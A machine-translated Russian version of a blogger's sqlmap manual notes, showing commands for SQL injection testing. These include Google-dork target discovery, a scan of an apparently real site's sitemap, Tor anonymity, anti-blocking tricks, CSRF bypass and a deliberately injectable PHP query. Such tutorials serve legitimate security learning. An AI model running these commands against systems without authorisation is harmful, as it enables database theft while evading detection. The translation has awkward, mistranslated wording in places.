sqlmap Китайское руководство, инструмент pdf_sqlquery
sqlmap Китайское руководство, инструмент pdf_sqlquery

Ноль, Предисловие

Sqlmap — очень известный и автоматизированный инструмент для внедрения SQL. Чтобы более систематично изучать Sqlmap, я решил перевести руководство пользователя Sqlmap, поэтому и была написана эта статья. Поскольку я не очень хорошо знаю английский, я не могу хорошо переводить. По сути, это вольный перевод, к тому же я добавил свои вещи, которые сильно отличаются от оригинального текста.

Впервые опубликовано в моем независимом блоге:https://blog.werner.wiki/sqlmap-study-notes-0/。Номер версии1.1.10。

1. Что такое Sqlmap?

Sqlmap — это инструмент автоматического внедрения SQL с открытым исходным кодом, написанный на Python и имеющий следующие характеристики:

  • Полностью поддерживает несколько систем управления базами данных, таких как MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
  • Полностью поддерживает логическое слепое внедрение, слепое внедрение на основе времени, внедрение на основе сообщений об ошибках, внедрение запроса на объединение и внедрение запроса кучи.
  • Поддерживает прямое подключение к базе данных без использования точек внедрения SQL, если позволяют такие условия, как сертификат базы данных, IP-адрес, порт и имя базы данных.
  • Поддерживает перечисление пользователей, паролей, хешей, разрешений, ролей, баз данных, таблиц и столбцов данных.
  • Поддерживает автоматическую идентификацию форматов хэшей паролей и активацию успешных хэшей учебных паролей через словарь.
  • Он поддерживает полную загрузку определенной таблицы в определенной базе данных, либо можно загрузить только определенные столбцы в определенной таблице, либо даже загрузить только часть данных в определенном столбце. Все зависит от выбора пользователя.
  • Поддерживает поиск указанного имени базы данных, имени таблицы или имени столбца в системе управления базой данных.
  • Поддерживает загрузку или выгрузку файлов, если в качестве системы управления базами данных используется MySQL, PostgreSQL или Microsoft SQL Server.
  • Если системой управления базами данных является MySQL, PostgreSQL или Microsoft SQL Server, она поддерживает выполнение произвольных команд и возврат стандартного вывода.

2. Установите Sqlmap

Проект Sqlmap с открытым исходным кодом размещен на github. Самый простой способ установки — использовать git и выполнить следующую команду:

Язык кода:javascript
копировать
  git clone https://github.com/sqlmapproject/sqlmap.git

Через некоторое время команда будет выполнена, и вы увидите, что в текущем каталоге есть дополнительный каталог с именем «sqlmap». В этом каталоге хранятся исходный код Python, файлы конфигурации и документация Sqlmap. Поскольку Python является интерпретируемым и исполняемым языком и не требует компиляции, установлена ​​последняя версия Sqlmap. перейдите в каталог «sqlmap» и используйте команду «python sqlmap», чтобы запустить Sqlmap, как показано на следующем рисунке:

Если вы хотите обновить Sqlmap, войдите в каталог «sqlmap» и выполните команду «git pull».

3. Подробность вывода

Параметры: -v

Выходная информация Sqlmap разделена на 7 уровней от простого к сложному (столько, сколько тыквенных кукол), которые имеют номера 0, 1, 2, 3, 4, 5 и 6 по порядку. Используйте параметр "-v <уровень>”указать уровень,Если вы используете параметр «-v 6", чтобы указать уровень вывода 6. Уровень вывода по умолчанию — 1. Ниже приводится описание каждого уровня вывода:

  • 0: отображать только информацию трассировки Python, информацию об ошибках [ОШИБКА] и ключевую информацию [КРИТИЧЕСКИ];
  • 1: одновременное отображение обычной информации [ИНФО] и предупреждающей информации [ПРЕДУПРЕЖДЕНИЕ];
  • 2: одновременно отображать информацию об отладке [DEBUG];
  • 3: Также отображает полезные данные атаки, используемые для внедрения;
  • 4: одновременное отображение HTTP-запросов;
  • 5: одновременно отображать заголовки ответов HTTP;
  • 6: Одновременно отобразить тело ответа HTTP.

Насколько детальен вывод информации на каждом уровне, вам все равно придется попробовать самому и увидеть своими глазами, прежде чем появится четкое понимание.

4. Определите цели

Sqlmap должен указывать хотя бы одну цель при запуске и поддерживает одновременное указание нескольких целей. Есть несколько способов указать цели:

1. Прямое подключение к базе данных

Параметры: -d

Используйте параметр «-d» для прямого подключения к базе данных. За этим параметром следует строка, представляющая базу данных. Эта строка имеет следующие два формата:

(1) Если в качестве системы управления базами данных используется MySQL, Oracle, Microsoft SQL Server или PostgreSQL, формат будет следующим:

Язык кода:javascript
копировать
  DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

(2) Если используется система управления базами данных SQLite, Microsoft Access или Firebird, формат будет следующим:

Язык кода:javascript
копировать
  DBMS://DATABASE_FILEPATH

Я использую следующую команду для подключения к MySQL, установленному на этом компьютере:

Язык кода:javascript
копировать
  python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

Но произошла ошибка, ошибка такая:

Язык кода:javascript
копировать
  [CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed

Это означает, что я не установил стороннюю библиотеку python-pymysql, используемую Python для подключения к Mysql. Хотя я установил python-mysqldb, чтобы Python мог подключиться к Mysql, очевидно, что Sqlmap использует python-pymysql вместо python-mysqldb. Используйте следующую команду для установки python-pymysql:

Язык кода:javascript
копировать
  git clone https://github.com/petehunt/PyMySQL/
  cd PyMySQL/
  sudo python setup.py install

После установки python-pymysql выполните команду:

Язык кода:javascript
копировать
  python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"

На этот раз об ошибке не сообщалось, и база данных была успешно подключена. Он просто ничего не делает, кроме обнаружения того, что база данных действительно имеет номер версии Mysql, больший или равный 5.0.0. Чтобы указать Sqlmap что-то, необходимо указать другие параметры. Мы узнаем об этих параметрах позже.

2. Укажите целевой URL-адрес

Параметры: -u или –url

Используйте параметр «-u» или «-url», чтобы указать URL-адрес в качестве целевого. За этим параметром следует строка, представляющая URL-адрес, который может быть протоколом http или https. Вы также можете указать порт, например:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"
3. Анализируйте цели из журналов прокси Burp или WebScarab.

Параметры: -л

Используйте параметр «-l», чтобы указать файл журнала прокси-сервера Burp или WebScarab. Sqlmap будет анализировать возможные цели атаки из файла журнала и пытаться внедрить их одну за другой. За этим параметром следует путь, представляющий файл журнала.

Я никогда не использовал WebScarab, но часто использую Burp. Burp не записывает логи по умолчанию. Если вы хотите записывать логи, вам необходимо включить их вручную. Способ настройки показан на рисунке ниже:

Достаточно просто проверить данные запроса в прокси. Путь к файлу журнала можно задать по желанию. Здесь я задаю имя файла журнала proxy.log и помещаю его в домашний каталог пользователя.

Установите прокси-сервер браузера на Burp. Просмотрев несколько веб-страниц, я обнаружил, что размер proxy.log уже превышает 70 КБ. Проверьте его содержимое, и часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  werner@Yasser:~$ more proxy.log
  ======================================================   7:22:52 PM  http://ocsp.digicert.com:80  [117.18.237.29]
  ======================================================   POST / HTTP/1.1
  Host: ocsp.digicert.com
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  Content-Length: 83
  Content-Type: application/ocsp-request
  DNT: 1
  Connection: close

  0Q0O0M0K0I0   +
  �ǝ��Pr�Tz�
  ====================================================== 


  ======================================================   7:23:00 PM  http://blog.csdn.net:80  [47.95.49.160]
  ======================================================   GET /pyufftj/article/details/21469201 HTTP/1.1
  Host: blog.csdn.net
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  ...

Вы можете видеть, что файл журнала записывает не только параметры GET, но также параметры cookie и POST. Теперь используйте следующую команду, чтобы позволить Sqlmap проанализировать файл журнала, автоматически найти цель и обнаружить уязвимости внедрения:

Язык кода:javascript
копировать
  python sqlmap.py -l ../proxy.log

Обратите внимание, что путь к файлу журнала должен быть написан правильно. При выполнении этой команды каждый раз, когда обнаруживается возможная цель атаки, Sqlmap спрашивает, хочет ли он обнаружить цель. , ответ по умолчанию — «Y». Если вы хотите проверить эту цель, просто нажмите клавишу Enter.

Когда журнал большой, возможных целей будет много. Несмотря на наличие механизма запроса, он по-прежнему вызывает затруднения, поскольку вы не можете нажать Enter до конца и вынуждены принимать решения. Было бы здорово, если бы логи можно было фильтровать! Это действительно возможно, параметр «-scope», подробности см. в «5.18».

4. Анализ целей из файла карты сайта

Параметры: -х

Для облегчения включения в поисковые системы,Многие веб-сайты генерируют карты сайта в формате XML специально для поисковых систем.,нравитьсяКарта сайта Baidu поддерживает формат xml.。Sqlmapможно разобрать напрямуюxmlФорматировать карту сайта,Извлеките цели атаки из,Проведите обнаружение инъекций на веб-сайте во всех аспектах без каких-либо слепых зон.,В настоящее время используется параметр «-x».,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -x http://www.6eat.com/sitemap.xml

Но результат выполнения этой команды:

Язык кода:javascript
копировать
  [WARNING] no usable links found (with GET parameters)

Не найдена доступная ссылка с параметрами GET. По моему ограниченному опыту, URL-адреса в картах сайта редко содержат параметры GET и тем более параметры POST. Так что эта функция Sqlmap кажется немного бесполезной.

5. Анализ целей из текстовых файлов

Параметр: -м

Параметр «-u» может указывать только один URL-адрес за раз. Это очень неудобно, если нужно протестировать несколько URL-адресов. Мы можем сохранить несколько URL-адресов в текстовом файле в формате одной строки, а затем использовать параметр «. -m", за которым следует путь к текстовому файлу, чтобы Sqlmap последовательно прочитал URL-адреса в файле в качестве цели атаки.

Например, у нас есть файл url.txt следующего содержания:

Язык кода:javascript
копировать
  www.target1.com/vuln1.php?q=foobar
  www.target2.com/vuln2.asp?id=1
  www.target3.com/vuln3/id/1*

Затем вы можете использовать следующую команду, чтобы позволить Sqlmap проверить, есть ли у этих URL-адресов уязвимости внедрения:

Язык кода:javascript
копировать
  python sqlmap.py -m url.txt

Аналогично, при выполнении этой команды Sqlmap очень задумчиво будет спрашивать один за другим: «Хотите протестировать этот URL?»

6. Загрузите HTTP-запрос из файла.

Параметры: -р

Вы можете сохранить HTTP-запрос в файл, а затем загрузить файл с параметром «-r». Sqlmap проанализирует файл, проанализирует цель из файла и протестирует ее.

HTTP-запрос, как показано ниже, сохраняется в файле get.txt:

Язык кода:javascript
копировать
  GET /user.php?id=1 HTTP/1.1
  Host: 192.168.56.101:8080
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
  Accept-Encoding: gzip, deflate
  DNT: 1
  Connection: close
  Upgrade-Insecure-Requests: 1

Затем используйте следующую команду, чтобы позволить Sqlmap проанализировать файл и проверить цель HTTP-запроса в файле как цель атаки:

Язык кода:javascript
копировать
  python sqlmap.py -r get.txt
7. Таргетинг на результаты поиска Google

Параметры: -g

Sqlmap может автоматически получать первые сто результатов поиска Google и выполнять тестирование URL-адресов с параметрами GET. Конечно, сетевое окружение, в котором вы находитесь, должно иметь доступ к Google. Вот пример параметра «-g» из руководства Sqlmap:

Язык кода:javascript
копировать
  python sqlmap.py -g "inurl:\".php?id=1\""
8. Загрузите цель атаки из файла конфигурации.

Параметры: -c

Используйте параметр «-c», чтобы указать файл конфигурации (например, Sqlmap.conf будет анализировать файл конфигурации и выполнять действия в соответствии с конфигурацией файла конфигурации). Цель атаки можно указать в файле конфигурации. Фактически, помимо цели атаки, в файле конфигурации также могут быть указаны значения различных параметров.

В каталоге Sqlmap есть файл с именем sqlmap.conf. Этот файл представляет собой шаблон файла конфигурации. Если вы посмотрите на содержимое файла, вы сможете понять, что означает этот файл конфигурации.

5. Запрос

HTTP — сложный протокол. Существует множество методов HTTP-запросов, которые могут переносить разные параметры в разных местах (GET, POST, cookie, User-Agent и т. д.). Часто только запросы, инициированные определенным методом с определенными параметрами в определенном месте, являются законными и действительными запросами. Помимо указания цели при запуске Sqlmap, иногда вам также необходимо указать некоторые детали HTTP-запроса. Следующие параметры используются для указания деталей HTTP-запроса.

1. HTTP-метод

Параметры: –метод

Вообще говоря, Sqlmap может автоматически определить, использовать ли метод GET или метод POST, но в некоторых случаях может потребоваться редкий метод, такой как PUT. В этом случае метод необходимо указать с параметром «-method». . Например: «--method=PUT».

2.POST-данные

Параметры: –данные

Данные, указанные этим параметром, будут отправлены как данные POST, и Sqlmap также определит, содержат ли данные, указанные этим параметром, уязвимости внедрения. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"
3. Укажите разделитель

Параметры: --param-del

В предыдущем примере“–data”данные“id=0&name=werner”На самом деле он состоит из двух частей:“id=0”и“name=werner”,по умолчанию“&”как разделитель。мы можем использовать“–param-del”указать разделитель,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"
4.cookie

Параметры: –cookie, –cookie-del, –drop-set-cookie и –load-cookies.

Есть две ситуации, когда используются эти параметры:

  • Доступ к тестируемой странице возможен только после входа в систему, а статус входа определяется с помощью файлов cookie.
  • Хотите определить, есть ли внедрение файлов cookie

Если для параметра «--level» установлено значение 2 или выше, Sqlmap определит, есть ли в файле cookie уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.

(1).“–cookie”и“–cookie-del”

После входа на целевой веб-сайт в браузере скопируйте файлы cookie, которые поддерживают статус входа. Используйте параметр «-cookie», чтобы указать эти файлы cookie, например:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"

В отличие от параметров POST, разделителем по умолчанию для файлов cookie является «;». Чтобы указать разделитель в файлах cookie, используйте параметр «--cookie-del».

(2).“–drop-set-cookie”

Если в заголовке ответа HTTP есть «Set-Cookie», Sqlmap автоматически установит файлы cookie, установленные с помощью «Set-Cookie», и обнаружит эти файлы cookie. Если вы не хотите, чтобы Sqlmap делал это, просто добавьте параметр «--drop-set-cookie», чтобы Sqlmap игнорировал «Set-Cookie».

(3).“–load-cookies”

Этот параметр используется для загрузки файлов cookie в формате Netscape или wget из файла.

wget может сохранять и загружать файлы cookie, примеры следующие:

Язык кода:javascript
копировать
  # Log in to the server. This can be done only once.
  wget --save-cookies cookies.txt \
       --post-data 'user=foo&password=bar' \
       http://server.com/auth.php

  # Now grab the page or pages we care about.
  wget --load-cookies cookies.txt \
       -p http://server.com/interesting/article.php
5.User-Agent

Параметры: –user-agent и –random-agent.

По умолчанию значение User-Agent в HTTP-запросе, отправленном Sqlmap, равно:

Язык кода:javascript
копировать
  sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

Используйте параметр «-user-agent», чтобы указать значение User-Agent. Но мы можем не помнить, как выглядит обычное значение User-Agent, поэтому с помощью параметра «--random-agent», используя этот параметр, Sqlmap будет случайным образом выбирать пользователя из файла ./txt/user-agents.txt — Агент. Обратите внимание, что в сеансе используется только один и тот же User-Agent, а не случайный User-Agent для каждого отправленного пакета HTTP-запроса.

Используйте следующую команду, чтобы подсчитать количество строк в user-agents.txt:

Язык кода:javascript
копировать
  cat sqlmap/txt/user-agents.txt | wc -l

Результат — 4211, который, конечно, тоже содержит пустые строки, комментарии и т. д., но всего в файле хранится более 4000 User-Agents.

Если для параметра «--level» установлено значение 3 или выше, Sqlmap определит, есть ли в User-Agent уязвимость внедрения. Дополнительные сведения о «--level» см. ниже.

6.Host

Параметры: –хост

Используйте этот параметр, чтобы вручную указать значение хоста в заголовке HTTP.

Если для параметра «--level» установлено значение 5 или выше, Sqlmap определит, есть ли на хосте уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.

7.Referer

Параметры: --referer

Используйте этот параметр, чтобы указать значение Referer в заголовке HTTP. Заголовок HTTP-запроса, отправленный Sqlmap, по умолчанию не имеет поля Referer.

Если для параметра «--level» установлено значение 3 или выше, Sqlmap определит, есть ли у Referer уязвимости внедрения. Дополнительные сведения о «--level» см. ниже.

8. Дополнительные HTTP-заголовки

Параметры: –заголовки

Используйте этот параметр для добавления полей в заголовок сообщения HTTP-запроса, отправляемого Sqlmap. Если вы добавляете несколько полей, разделите их знаком «\n». Например, команда:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"

Отправленный пакет HTTP-запроса:

Язык кода:javascript
копировать
  GET / HTTP/1.1
  X-B: B
  Host: 192.168.56.101:8080
  Accept-encoding: gzip,deflate
  X-A: A
  Accept: */* User-agent: sqlmap/1.1.10#stable (http://sqlmap.org) Connection: close

Параметр «-v 5» добавлен, чтобы позволить Sqlamp выводить отправленный пакет HTTP-запроса, чтобы мы могли легко его наблюдать.

9. Аутентификация личности

Параметры: –auth-type и –auth-cred

Эти параметры используются для аутентификации. «--auth-type» используется для указания метода аутентификации и поддерживает следующие три метода аутентификации личности:

  • Basic
  • Digest
  • NTLM

«--auth-cred» используется для предоставления учетных данных для аутентификации личности, формат «имя пользователя:пароль».

нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
10. Аутентификация личности на основе сертификатов

Параметры: --auth-file

Если веб-сервер требует, чтобы клиент предоставил сертификат, вы можете использовать этот параметр, чтобы указать файл сертификата в формате PEM. Мы знаем, что аутентификация клиента по протоколу SSL не является обязательной. На практике сервер обычно предоставляет только свой собственный сертификат для проверки клиента, и от клиента редко требуется предоставление собственного сертификата.

11. Игнорировать 401

Параметры: –ignore-401

Используйте этот параметр, чтобы игнорировать ошибки 401 (без проверки подлинности).

12. HTTP(S)-прокси

Параметры: –proxy, –proxy-cred, –proxy-file и –ignore-proxy.

Используйте параметр «-proxy», чтобы установить прокси-сервер HTTP(S), формат «http(s)://url:port». Если прокси-сервер требует аутентификации, используйте параметр «-proxy-cred», чтобы предоставить учетные данные аутентификации в формате «имя пользователя:пароль».

Используйте параметр «-proxy-file», чтобы указать файл, в котором хранится список прокси. Sqlmap будет использовать прокси из файла по очереди. Если у прокси возникнут проблемы с подключением, он будет удален и заменен следующим прокси.

Используйте параметр «--ignore-proxy», чтобы игнорировать настройки локального прокси.

13.Анонимная сеть Tor

Параметры: –tor, –tor-type, –tor-port и –check-tor.

по какой-то причине,Если вы хотите остаться анонимным, используйте один HTTP(S)-прокси.,不нравиться安装类似PrivoxyТакое программное обеспечение следуетИнструкция по установке ТораНастройтеTorклиент。После настройки используйте параметры“–tor”позволятьSqlmapАвтоматически настроен на использованиеTorактерское мастерство。

Если вы хотите вручную указать тип и порт Tor, вы можете использовать параметры «--tor-type» и «--tor-port», нравиться:

Язык кода:javascript
копировать
  --tor-type=SOCKS5 --tor-port 9050

Если требуется высокая степень анонимности, можно использовать параметр --check-tor.,После добавления этого параметра Sqlmap обеспечит прохождение всего трафика через прокси-сервер Tor.,Если прокси-сервер Tor не работает,Sqlmapвыдаст предупреждение и выйдет。Метод обнаружения – посещениеAre you using Tor?

14. Добавьте задержки между HTTP-запросами

Параметры: –задержка

Слишком частая отправка запросов может быть обнаружена веб-сайтом или иметь другие нежелательные последствия. Используйте параметр «--delay», чтобы указать задержку между HTTP-запросами. Единица измерения — секунды, тип — число с плавающей запятой. Например, «--delay 1,5» означает задержку в 1,5 секунды. По умолчанию нет задержки.

15. Тайм-аут

Параметры: –таймаут

Таймаут по умолчанию составляет 30 секунд. Вы можете использовать параметр «–timeout», чтобы указать таймаут. Например, «–timeout 44,5» означает установку таймаута на 44,5 секунды.

16. Максимальное количество повторов после таймаута

Параметры: –retries

Sqlmap повторит попытку после тайм-аута. По умолчанию максимальное количество попыток равно 3. Вы можете использовать параметр «-retries», чтобы указать максимальное количество повторов.

17. Рандомизировать значения параметров

Параметры: –рандомизировать

Используя этот параметр, Sqlmap будет случайным образом генерировать значение параметра в каждом HTTP-запросе. Тип и длина значения основаны на исходном значении.

18. Фильтрация журналов прокси с помощью регулярных выражений

Параметры: –область

Укажите регулярное выражение Python для фильтрации журналов агента.,Тестируйте только цели, соответствующие регулярному выражению,нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
19. Избегайте блокировки из-за слишком большого количества неправильных запросов.

Параметры: –safe-url, –safe-post, –safe-req и –safe-freq.

Иногда сервер обнаруживает, что у клиента слишком много ошибочных запросов, и блокирует его. Тесты Sqlmap часто генерируют большое количество ошибочных запросов. Чтобы избежать блокировки, время от времени можно генерировать несколько обычных запросов, чтобы запутать сервер. С этим механизмом связаны следующие четыре параметра:

  • --safe-url: безопасный URL-адрес, который можно посещать время от времени.
  • --safe-post: данные POST передаются при доступе к безопасным URL-адресам.
  • --safe-req: загрузить безопасные HTTP-запросы из файла.
  • --safe-freq: безопасный URL-адрес, доступ к которому будет осуществляться после каждого тестового запроса.

Так называемый безопасный URL-адрес здесь относится к URL-адресу, который вернет 200 при доступе без каких-либо ошибок. Соответственно, Sqlmap не выполняет никакого тестирования безопасных URL-адресов.

20. Отключите кодировку URL-адресов.

Параметры: --skip-urlencode

Sqlmap будет кодировать URL-адрес по умолчанию. Вы можете использовать этот параметр, чтобы отключить кодирование URL-адреса.

21. Обход защиты CSRF

Параметры: –csrf-token и –csrf-url

Многие веб-сайты теперь предотвращают атаки CSRF, добавляя в форму скрытые поля со случайно сгенерированными токенами. Sqlmap автоматически идентифицирует этот метод защиты и обходит его. Однако автоматическое распознавание может дать сбой, и в этом случае будут использоваться именно эти два параметра.

«--csrf-token» используется для указания имени скрытого поля, содержащего токен. Если это имя поля не является общим именем поля для предотвращения атак CSRF, Sqlmap не сможет автоматически распознать его, и его необходимо указать вручную. Например, имя поля в Django — «csrfmiddlewaretoken», что, очевидно, связано с атаками CSRF.

«--csrf-url» используется для повторного использования значений токена из любого URL-адреса. Этот параметр полезен, если исходный уязвимый целевой URL-адрес не содержит значения токена и требует извлечения значения токена из другого адреса.

22. Принудительное использование SSL

Параметры: --force-ssl

23. Выполняйте определенный код Python перед каждым запросом.

Параметры: –eval

Давайте посмотрим непосредственно на пример:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

Перед каждым запросом на возврат Sqlmap пересчитывает значение хеш-функции на основе значения идентификатора и обновляет значение хеш-функции в запросе GET.

6. Оптимизация

Эти параметры могут оптимизировать производительность Sqlmap.

1. Оптимизация в один клик

Параметры: -о

Добавление этого параметра эквивалентно одновременному добавлению следующих трех параметров оптимизации:

  • –keep-alive
  • –null-connection
  • --threads=3 (если не установлено лучшее значение)

Конкретное значение этих параметров показано ниже.

2. HTTP-длинное соединение

Параметры: –keep-alive

Этот параметр позволяет Sqlmap использовать длинные соединения HTTP. Этот параметр конфликтует с «--proxy».

3. Пустое HTTP-соединение.

Параметры: –null-connection

Существует специальный тип HTTP-запроса, который позволяет напрямую получить размер HTTP-ответа без получения тела HTTP-ответа. Очевидно, что это может сэкономить значительную часть пропускной способности при слепом булевом внедрении. Конечно, эта технология требует поддержки на стороне сервера. Этот параметр конфликтует с «--text-only».

4. HTTP-параллелизм

Параметры: –threads

Используйте этот параметр, чтобы указать максимальное количество параллелизма, которого может достичь Sqlmap. Учитывая как производительность, так и доступность веб-сайта, максимальное количество параллелизма не должно превышать 10.

7. Инъекция

Эти параметры используются для указания параметров для тестирования, настройки полезных данных атаки и выбора сценариев взлома.

1. Точка впрыска, подлежащая проверке.

Параметры: -p и –skip

По умолчанию Sqlmap проверяет все параметры GET и POST. Когда уровень больше или равен 2, он проверяет параметры cookie. Когда уровень больше или равен 3, он проверяет User-Agent и Referer. Фактически, вы также можете вручную указать список параметров, разделенных запятыми, для проверки. Параметры в этом списке не ограничены по уровню. Это то, что делает «-p».

Например, если вы хотите протестировать только параметры GET «id» и User-Agent, вы можете написать:

Язык кода:javascript
копировать
  -p "id,user-agent"

Если вы не хотите проверять определенный параметр, вы можете использовать «-skip». Если вы установили уровень 5, но не хотите тестировать User-Agent и Referer, вы можете написать так:

Язык кода:javascript
копировать
  --level=5 --skip="user-agent,referer"

Иногда вы сталкиваетесь с псевдостатическими веб-страницами. Динамические веб-страницы будут явно перечислять параметры, нравиться:

Язык кода:javascript
копировать
  /user.php?id=1

Очевидно, что параметр — id, а значение — 1. Но если это псевдостатическая веб-страница, ее можно написать так:

Язык кода:javascript
копировать
  /user/1/

Скрыть параметры в URL. Обычно Sqlmap не проверяет параметры таких псевдостатических веб-страниц.,Потому что Sqlmap не может определить, какой параметр является параметром. Если вы хотите протестировать такие псевдостатические,Просто добавьте "*",Просто сообщите Sqlmap, какие псевдостатические параметры,Остальное ничем не отличается от GET-параметров. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py -u "http(s)://target.cc/user/1*/"
2. Укажите систему управления базой данных.

Параметры: –dbms

dbms — это аббревиатура от «Система управления базами данных». По умолчанию Sqlmap автоматически определяет систему управления базами данных, используемую веб-сайтом, и поддерживает следующие системы управления базами данных:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • Firebird
  • SQLite
  • Sybase
  • SAP MaxDB
  • DB2

Если автоматическое обнаружение Sqlmap не удалось, вы не хотите, чтобы Sqlmap выполнял обнаружение отпечатков базы данных.,Систему управления базой данных можно указать вручную с помощью параметра «--dbms».,нравиться:“–dbms postgresql”。

Для Mysql и Microsoft SQL Server это указывается так:

Язык кода:javascript
копировать
  --dbms MySQL <version>
  --dbms Microsoft SQL Server <version>

Для MySQL это примерно так: 5.0. Для Microsoft SQL Server это выглядит так: 2005.

Если вы добавите «--fingerprint» вместе с параметром «--dbms», Sqlmap будет выполнять распознавание отпечатков пальцев только в указанной системе управления базой данных.

Используйте «--dbms» только в том случае, если вы уверены, в противном случае лучше позволить Sqlmap автоматически обнаружить это.

3. Укажите операционную систему, на которой работает система управления базами данных.

Параметры: –os

По умолчанию Sqlmap автоматически определяет операционную систему, на которой работает система управления базами данных. В настоящее время полностью поддерживаются следующие операционные системы:

  • Linux
  • Windows

Если вы уверены, вы можете использовать параметр «-os», чтобы указать операционную систему, в которой работает система управления базой данных. Конечно, этот параметр следует использовать только в том случае, если вы абсолютно уверены, в противном случае лучше позволить Sqlmap автоматически обнаружить его.

4. Принудительно использовать большие числа при создании недопустимых значений параметров.

Параметры: –invalid-bignum

Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если добавлено «--invalid-bignum»,Sqlmap примет большое число (нравиться:id=99999999) как недопустимый параметр.

5. Принудительное использование логических операторов при создании недопустимых значений параметров.

Параметр: –invalid-логический

Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если вы добавите «--invalid-ologic»,Sqlmap будет использовать логические операторы (нравиться:id=13 И 18=19) как недопустимый параметр.

6. Принудительное использование строк при создании недопустимых значений параметров.

Параметр: –invalid-string

Иногда вам нужно генерировать недопустимые параметры при внедрении тестов.,В обычных обстоятельствах Sqlmap примет противоположное число (нравиться:id=-13) существующему параметру (нравиться:id=13) как недопустимый параметр. Но если вы добавите «--invalid-ologic»,Sqlmap будет использовать строку (нравиться:id=akewmc) как недопустимый параметр.

7. Отключите преобразование полезной нагрузки.

Параметры: –no-cast

Sqlmap преобразует все входные данные в строковый тип при получении результатов, и если он встретит нулевое значение (NULL), он заменит его пустым символом. Это сделано для предотвращения любых ошибок, таких как объединение нулевых значений и строк, а также для упрощения процесса получения данных. Однако есть сообщения о том, что выполнение этого в старых версиях Mysql может вызвать проблемы с получением данных, поэтому было добавлено «--no-cast», чтобы сообщить Sqlmap не делать этого.

8. Отключите кодировку строк.

Параметры: –no-escape

Иногда Sqlmap использует в качестве полезной нагрузки строковое значение, заключенное в одинарные кавычки, например «SELECT 'foobar'». По умолчанию эти значения будут закодированы как: «ВЫБЕРИТЕ СИМВОЛ(102)+СИМВОЛ(111)+СИМВОЛ(111)+СИМВОЛ(98)+СИМВОЛ(97)+СИМВОЛ(114))». Это может как запутать людей, так и затруднить просмотр содержимого полезных данных, а строка не будет затронута, когда внутренний сервер использует escape-функции, такие как Magic_quote или mysql_real_escape_string. Конечно, в некоторых случаях кодирование строк необходимо отключить. Например, чтобы уменьшить длину полезных данных, пользователи могут использовать «--no-escape», чтобы отключить кодирование строк.

9. Индивидуальная полезная нагрузка

Параметры: –prefix и –suffix.

Иногда внедрение может быть успешным только путем добавления указанного пользователем суффикса после полезной нагрузки. Другой сценарий заключается в том, что пользователь уже знает, как написать оператор запроса. В этом случае префикс и суффикс полезных данных можно указать напрямую для завершения обнаружения и внедрения.

Пример уязвимого исходного кода выглядит следующим образом:

Язык кода:javascript
копировать
  query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";

В таком примере вы можете позволить Sqlmap автоматически определять граничный диапазон или вручную указывать граничный диапазон:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

Окончательный оператор SQL будет выглядеть следующим образом:

Язык кода:javascript
копировать
  SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1

Синтаксис этого предложения правильный, и полезная нагрузка также может быть выполнена.

